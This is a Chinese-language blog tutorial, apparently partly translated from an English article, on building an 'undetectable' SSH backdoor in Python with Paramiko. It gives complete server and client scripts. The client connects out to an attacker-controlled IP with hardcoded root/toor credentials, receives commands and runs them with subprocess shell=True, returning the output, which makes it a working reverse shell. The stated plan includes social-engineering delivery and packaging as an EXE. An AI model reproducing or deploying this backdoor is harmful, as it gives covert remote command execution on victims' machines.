zoukankan      html  css  js  c++  java
  • 使用python创建一个检测不到的自定义SSH后门

          看到一篇不错的关于python ssh后门相关知识的文章,一边学习顺带部分翻译一下。原文地址:http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/。在《Black Hat Python Python Programming for Hackers and Pentesters》一书中,也有一个类似的demo,大家可以参考学习一下。

          方法:

          1.如何实施攻击;

          2.建立SSH隧道

          3.反弹Shell

          4.SFTP

          5.编写自定义的特性(抓取屏幕截图)

          6.把代码封装成EXE

          7.认证

          如何实施攻击

          关于实施攻击这一块,文中提到的是采用社会工程学,具体可以看原文。

          建立SSH隧道

          利用Paramiko库来建立SSH隧道。来看一下源码:

          服务端源码:

    #!/usr/bin/env python
    
    # __author__ = 'sniper.geek'
    
    import socket
    
    import paramiko
    
    import threading
    
    import sys
    
    host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
    
    class Server (paramiko.ServerInterface):
    
       def _init_(self):
    
           self.event = threading.Event()
    
       def check_channel_request(self, kind, chanid):
    
           if kind == 'session':
    
               return paramiko.OPEN_SUCCEEDED
    
           return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    
       def check_auth_password(self, username, password):
    
           if (username == 'root') and (password == 'toor'):
    
               return paramiko.AUTH_SUCCESSFUL
    
           return paramiko.AUTH_FAILED
    
    try:
    
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
        sock.bind(('10.0.2.15', 22))
    
        sock.listen(100)
    
        print '[+] Listening for connection ...'
    
        client, addr = sock.accept()
    
    except Exception, e:
    
        print '[-] Listen/bind/accept failed: ' + str(e)
    
        sys.exit(1)
    
    print '[+] Got a connection!'
    
    try:
    
        t = paramiko.Transport(client)
    
        try:
    
            t.load_server_moduli()
    
        except:
    
            print '[-] (Failed to load moduli -- gex will be unsupported.)'
    
            raise
    
        t.add_server_key(host_key)
    
        server = Server()
    
        try:
    
            t.start_server(server=server)
    
        except paramiko.SSHException, x:
    
            print '[-] SSH negotiation failed.'
    
        chan = t.accept(20)
    
        print '[+] Authenticated!'
    
        print chan.recv(1024)
    
        chan.send('Yeah i can see this')
    
    except Exception, e:
    
        print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)
    
        try:
    
            t.close()
    
        except:
    
            pass
    
        sys.exit(1)

          代码开始定义了本地的RSA key,这个key用于签名和认证。在这里使用Paramiko包中包含的test_rsa.key。

          class Server定义了在服务器模式下控制Paramiko行为的接口,也包含处理来自客户端的请求函数。例如:“def check_auth_password”定义了在认证过程中,客户端的用户名和密码是否正确。

          在客户端请求一个信道的时候,服务端的“def check_channel_request”将被调用。

          客户端源码:

    #!/usr/bin/env python
    
    # __author__ = 'sniper.geek'
    
    import paramiko
    
    import threading
    
    client = paramiko.SSHClient()
    
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    client.connect('10.0.2.15', username='root', password='toor')
    
    chan = client.get_transport().open_session()
    
    chan.send('Hey i am connected :) ')
    
    print chan.recv(1024)
    
    client.close

          SSHClient()类负责大部分认证和开放信道的方面。

          paramiko.AutoAddPolicy()类自动增加主机名和服务器主机密钥到本地的“HostKeys”对象并且保存它。这样就不用担心你在第一次连接SSH服务器的时候,出现的 识别服务器密钥指纹的通知消息。这里的IP为我们的攻击者机器的IP地址。

          client.get_transport().open_session()向服务器请求一个类型为“session”的新信道。如果一切都顺利,我们会发送(“Hey i am connected:”)到服务器并且打印服务器发送过来的消息。

          DEMO演示:

          服务端监听:

    kali1

          客户端连接:

    win1

          服务端输出:

    kali2

          为了支持反弹shell的功能。在服务端需要做一些修改。增加下面的代码到‘chan.send(Yeah i can see this)’后面,最后整体代码如下:(黄色部分为增加的代码)

      1: #!/usr/bin/env python
    
      2: # __author__ = 'sniper.geek'
    
      3: 
    
      4: import socket
    
      5: import paramiko
    
      6: import threading
    
      7: import sys
    
      8: 
    
      9: host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
    
     10: 
    
     11: class Server (paramiko.ServerInterface):
    
     12:    def _init_(self):
    
     13:        self.event = threading.Event()
    
     14:    def check_channel_request(self, kind, chanid):
    
     15:        if kind == 'session':
    
     16:            return paramiko.OPEN_SUCCEEDED
    
     17:        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    
     18:    def check_auth_password(self, username, password):
    
     19:        if (username == 'root') and (password == 'toor'):
    
     20:            return paramiko.AUTH_SUCCESSFUL
    
     21:        return paramiko.AUTH_FAILED
    
     22: 
    
     23: try:
    
     24:     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
     25:     sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
     26:     sock.bind(('10.0.2.15', 22))
    
     27:     sock.listen(100)
    
     28:     print '[+] Listening for connection ...'
    
     29:     client, addr = sock.accept()
    
     30: except Exception, e:
    
     31:     print '[-] Listen/bind/accept failed: ' + str(e)
    
     32:     sys.exit(1)
    
     33: print '[+] Got a connection!'
    
     34: 
    
     35: try:
    
     36:     t = paramiko.Transport(client)
    
     37:     try:
    
     38:         t.load_server_moduli()
    
     39:     except:
    
     40:         print '[-] (Failed to load moduli -- gex will be unsupported.)'
    
     41:         raise
    
     42:     t.add_server_key(host_key)
    
     43:     server = Server()
    
     44:     try:
    
     45:         t.start_server(server=server)
    
     46:     except paramiko.SSHException, x:
    
     47:         print '[-] SSH negotiation failed.'
    
     48: 
    
     49:     chan = t.accept(20)
    
     50:     print '[+] Authenticated!'
    
     51:     print chan.recv(1024)
    
     52:     chan.send('Yeah i can see this')
    
     53:     while True:
    
     54:         command= raw_input("Enter command: ").strip('
    ')
    
     55:         chan.send(command)
    
     56:         print chan.recv(1024) + '
    '
    
     57: 
    
     58: except Exception, e:
    
     59:     print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)
    
     60:     try:
    
     61:         t.close()
    
     62:     except:
    
     63:         pass
    
     64:     sys.exit(1)

          客户端代码在chan.recv(2048)后面增加如下代码,最后整体代码如下:(红色部分为增加的代码)

      1: #!/usr/bin/env python
    
      2: # __author__ = 'sniper.geek'
    
      3: 
    
      4: import paramiko
    
      5: import threading
    
      6: import subprocess
    
      7: 
    
      8: client = paramiko.SSHClient()
    
      9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
     10: client.connect('10.0.2.15', username='root', password='toor')
    
     11: chan = client.get_transport().open_session()
    
     12: chan.send('Hey i am connected :) ')
    
     13: print chan.recv(1024)
    
     14: while True:
    
     15:     command = chan.recv(1024)
    
     16:     try:
    
     17:         CMD = subprocess.check_output(command, shell=True)
    
     18:         chan.send(CMD)
    
     19:     except Exception,e:
    
     20:         chan.send(str(e))

          接下来,再看一下演示:

          服务端:

    kali3

          客户端:

    win72

          这里有个问题,如果服务端终止服务,客户端会被挂起。可以在客户端try…except…之前加入一个判断,如果接收到的命令时exit,则退出,服务端也做同样的判断。

      1: #!/usr/bin/env python
    
      2: # __author__ = 'sniper.geek'
    
      3: 
    
      4: import paramiko
    
      5: import threading
    
      6: import subprocess
    
      7: 
    
      8: client = paramiko.SSHClient()
    
      9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
     10: client.connect('192.168.107.128', username='root', password='toor')
    
     11: chan = client.get_transport().open_session()
    
     12: chan.send('Hey i am connected :) ')
    
     13: print chan.recv(1024)
    
     14: while True:
    
     15:     command = chan.recv(1024)
    
     16:     if 'exit' in command.rstrip('
    ').lower():
    
     17:        client.close
    
     18:        exit(1)
    
     19:     try:
    
     20:         CMD = subprocess.check_output(command, shell=True)
    
     21:         chan.send(CMD)
    
     22:     except Exception,e:
    
     23:         chan.send(str(e))
    
     24: client.close

     

  • 相关阅读:
    Golang :索引值对的数组
    MySql-BlackHole:黑洞引擎
    golang fmt 中的 Sprintf、Fprintf和 Printf函数
    golang 中的 rune 和 byte
    mysql 全文索引
    Python 原始字符串
    如何给博客园(或者CSDN)设置域名访问
    CPU、内存、磁盘三者的关系
    018.redis 阶段性总结:1T 以上海量数据+10 万以上 QPS 高并发+ 99.99% 高可用
    017.redis 在实践中的一些常见问题以及优化思路(包含 linux 内核参数优化)
  • 原文地址:https://www.cnblogs.com/hiccup/p/5423972.html
Copyright © 2011-2022 走看看